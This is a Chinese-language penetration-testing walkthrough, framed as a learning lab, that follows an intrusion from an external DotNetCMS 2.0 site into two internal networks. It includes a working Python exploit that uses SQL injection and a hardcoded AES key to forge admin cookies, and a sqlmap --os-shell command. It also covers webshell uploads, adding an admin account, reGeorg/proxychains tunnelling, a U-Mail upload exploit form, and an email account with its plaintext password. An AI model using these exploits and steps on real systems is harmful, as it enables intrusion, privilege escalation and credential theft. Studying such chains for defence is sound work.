从外网至内网渗透过程
【实验环境】仅供学习参考
信息收集
登陆目标网站并收集信息
通过查看页面源码,发现cms版本信息为:DotNetCMS 2.0,通过上网查询可以找到该cms存在的漏洞,并进行复现
登录绕过漏洞
网站后台地址:/manage/Index.aspx
1)将代码写入exp.py文件中运行,即可得到cookie
代码如下:
#coding:utf-8import argparseimport urllibimport tracebackimport base64from Crypto.Cipher import AESfrom binascii import b2a_hex, a2b_hex#################################search keyword: ####inurl:/manage/Login.aspx #################################
KEY = 'Guz(%&hj7x89H$yuBI0456FtmaT5&fvHUFCy76*h%(HilJ$lhj!y6&(*jkP87jH7'
IV = 'E4ghj*Ghg7!rNIfb&95GUY86GfghUb#er57HBh(u%g6HJ($jhWk7&!hg4ui%$hjk'def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="the url", required=True, nargs="+")
return parser.parse_args()def run(url):
try:
usernumber = get_usernumber(url)
if usernumber is not None:
encrypt_cookie = generate_cookie(usernumber)
#写入cookie中
write_cookie(url, encrypt_cookie)
except Exception:
traceback.print_exc()def get_usernumber(url):
fullurl = url + "/user/City_ajax.aspx?CityId=1' union all select UserNum,UserNum from dbo.fs_sys_User where UserName='admin"
content = urllib.urlopen(fullurl).read()
index = content.index("<option value=\"")
if index != -1:
usernumber = content[index+15:]
usernumber = usernumber[0: content.index("\"")+1]
print "Get usernumber success. Usernumber is :", usernumber
return usernumber
else:
print "Get usernumber fail"
return Nonedef pkcs7padding(data):
bs = AES.block_size
padding = bs - len(data) % bs
padding_text = chr(padding) * padding
return data + padding_textdef generate_cookie(usernumber):
orgstr = "%s,admin,0,1,False"%(usernumber,)
cryptor = AES.new(KEY[0:32], AES.MODE_CBC, IV[0:16])
ciphertext = cryptor.encrypt(pkcs7padding(orgstr))
ciphertext = base64.b64encode(ciphertext)
return ciphertextdef write_cookie(url, ciphercookie):
print "Generate Cookie[SITEINFO]:", ciphercookie
print "Now you can write cookie and access the url: %s/manage/index.aspx"%(url,)if __name__ == '__main__':
args = parse_args()
try:
if args.url is not None:
run(args.url[0])
except Exception, e:
print "python Foosun_exp.py -u [url]"
2)在kali系统中运行结果如下
【注意】:在运行时可能会报错
【原因1】没有安装crypto模块
安装命令:pip install crypto
【原因2】文件路径错误,需要将exp.py文件放入root主目录下(路径可变,但需要先cd到该目录下)
3)使用EditThisCookie【谷歌】工具添加cookie,可以将没用的cookies删除;
Cookie Editor为【火狐】插件小工具
使用Cookie Editor输入对应的值保存即可【exp.py运行的结果】
删除前面的url,再刷新即可绕过登录后台【不要按“回车键”刷新,点击“url栏”右侧的“转到”-->刷新】
文件上传getshell
进入后台后发现控制面板>系统参数设置>上传 处可修改上传文件允许格式,在里面加入asp格式
在插件管理>广告系统>添加广告 处可上传文件
成功上传asp一句话
返回上传后的文件路径
使用菜刀成功连接,获取到shell
SQL注入getshell
先找到注入点http://www.test.com/user/City_ajax.aspx?CityId=1
用sqlmap获取shell
命令:sqlmap.py -u “http://www.test.com/user/City_ajax.aspx?CityId=1” --os-shell
利用shell在网站根目录下写入“asp一句话”【需要知道网站根目录绝对路径,我这里的为默认路径】
成功用“菜刀工具”连接后台
添加系统超管
利用sqlmap得到shell后查看ip,发现IP为192.168.1.123;说明这个是内网IP,之前可直接访问的为外网ip
利用shell后门添加用户【失败原因:密码为key1231强度太小,需要高强度的密码“字母数字符号”】
密码改为“key123@”,成功添加普通用户
将新添加的普通用户添加至超管一组
代理访问内网
【由于目标主机IP为内网,不能直接访问。IP:192.138.31.55为外网IP,只能用代理进行下一步渗透测试】
先利用“菜刀”上传“wlt.aspx”文件,利用“reGeorg”打通隧道便可代理连接
开启“reGeorg”隧道监听
使用“proxchains”工具代理,代理所用的工具
例如添加火狐浏览器:proxychains firefox
代理后成功访问内网192.168.1.123
代理连接远程主机
尝试远程连接目标主机,成功连接【可先代理nmap工具扫描3389端口是否开启】
对内网系统主机搜集信息
进入主机后,在Administrator管理员的文件下找到一个txt文件,发现有路由器的账户密码
和一个邮箱账户和密码
邮箱账户:Xgk@domain.com
密码:xgk831203
连接路由器并信息搜集
通过代理firefox连接到路由器
在路由器上搜寻到另一个内网IP:172.19.23.123
对另一个内网渗透测试
代理Firefox成功连接172.19.23.123,发现存在另一个网站为:U-Mail
1)在上一个内网系统中,我搜集到一个邮箱账号和密码,尝试登陆成功
2)通过上网查询得知u-mail CMS曾经爆发过严重的文件上传漏洞,我们可以尝试检查目标网站有没有修复该漏洞:
输入构造好的payload进行测试,成功爆出账户id为3:
/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=xgk
3)利用构造好的html网页进行上传文件
【EXP代码如下】:
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<FORM name=form1 method=post
action="http://172.19.23.123/webmail/client/mail/index.php?module=operate&action=attach-upload" enctype=multipart/form-data>
上传文件:<input type="file" name="Filedata" size="30">
<INPUT type=submit value=上传 name=Submit>
上传一个图片马后,爆出相应的file_id信息
账户id为3,fileid为1559808738尝试连接,并用/.php解析上传的图片马,成功连接大马